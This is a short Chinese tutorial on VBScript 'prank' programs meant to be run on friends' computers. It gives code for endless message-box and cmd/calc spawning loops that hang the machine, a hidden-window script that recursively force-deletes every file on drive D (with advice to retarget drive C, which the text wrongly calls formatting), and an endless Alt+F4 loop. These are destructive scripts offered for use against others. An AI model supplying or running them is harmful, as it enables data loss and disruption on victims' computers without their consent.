用VBS语言编写恶搞程序
你是否想要整一下你的朋友或者......今天给大家带来几个vbs整人代码,有兴趣的可以试一下(整整你的朋友)。注:下面介绍的代码可能会对电脑有一点点的危害。(指的是格盘的那个代码)
操作方法
- 01
首先,第一个代码 ———————————————————————————————— do msgbox "在这里填上你想要显示的语句,运行程序就会出现在这里填的语句“ loop ———————————————————————————————— 这个代码非常简单,运行后就会出现一个对话框,上面显示你所填的语句,并会不断弹出此对话框,直到电脑死机。如果想结束它,最快的办法就是...重启电脑。
- 02
第二个 ———————————————————————————————— set wsh=createobject("wscript.shell") do wsh.run "cmd" loop ———————————————————————————————— 这个代码写完启动后,就会不断弹出命令提示符,简称cmd,并会不断弹出,直到电脑死机。你也可以把引号里的cmd改成别的,如calc,是windows里的计算器程序的名称。改完后就不断弹出计算器程序。
- 03
第三个,有点危害,不要尝试。 ———————————————————————————————— dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true ———————————————————————————————— 简单介绍,运行会格式化D盘,把这个地方—>del d:\*.* / <—改一下,也就是del后的d,这是盘符,如改为c盘,就会格式化c盘。
最后,是破解前面几个程序的代码/运行方法
- 01
代码: ———————————————————————————————— dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop ———————————————————————————————— 它运行后,开什么都关闭,包括前面的几个程序,尽管这样,也尽量不要在自己电脑上运行。
- 02
要运行这样的vbs程序很简单,复制代码,打开记事本,粘贴代码,保存好,并更改此文件扩展名为.vbs 不会的,可以上网上搜。然后就是一个vbs脚本程序了。